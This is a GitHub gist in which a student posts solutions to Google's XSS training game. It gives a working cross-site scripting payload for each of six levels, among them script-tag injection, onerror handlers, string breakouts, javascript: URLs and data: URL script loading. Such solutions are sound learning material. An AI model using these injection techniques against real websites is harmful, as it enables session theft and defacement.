Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save iszlai/0e7cad17e70c114fc250dda82d2edcb8 to your computer and use it in GitHub Desktop.
Save iszlai/0e7cad17e70c114fc250dda82d2edcb8 to your computer and use it in GitHub Desktop.
Solutions of the Google XSS Challenge..
Hey All,
I am P.B.Surya.Subhash, a 17 Year coder,hacker and a student.
Recently I happen to see so many posts regarding this " Google XSS Challenge " and i was fortunate enough to complete them..
These are the solutions for the challenges ;)
##############################################################################
Level 1: Hello, world of XSS
https://xss-game.appspot.com/level1/frame
query=<script>alert('xss')</script>
Well that wasn't so tough .. Was it ?
##############################################################################
Level 2: Persistence is key
https://xss-game.appspot.com/level2/frame
post-content=<img src='foobar' onerror='alert("xss")'>
#############################################################################
Level 3: That sinking feeling...
https://xss-game.appspot.com/level3/frame#1
URL=https://xss-game.appspot.com/level3/frame#1' onerror='alert("xss")'>
#############################################################################
Level 4: Context matters
https://xss-game.appspot.com/level4/frame
timer=');alert('xss
#############################################################################
Level 5: Breaking protocol
https://xss-game.appspot.com/level5/frame
URL=https://xss-game.appspot.com/level5/frame/signup?next=javascript%3Aalert%28%27xss%27%29
#############################################################################
Level 6: Follow the X
https://xss-game.appspot.com/level6/frame#/static/gadget.js
URL=https://xss-game.appspot.com/level6/frame#data:text/plain,alert('xss')
#############################################################################
Hope this will help you all to learn something..
Have a nice day,
Thanks to google for giving me a chance to test my skills \m/
Thanks to google again for the nice cake in the end , I like cakes so much ;)
Bye all..
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment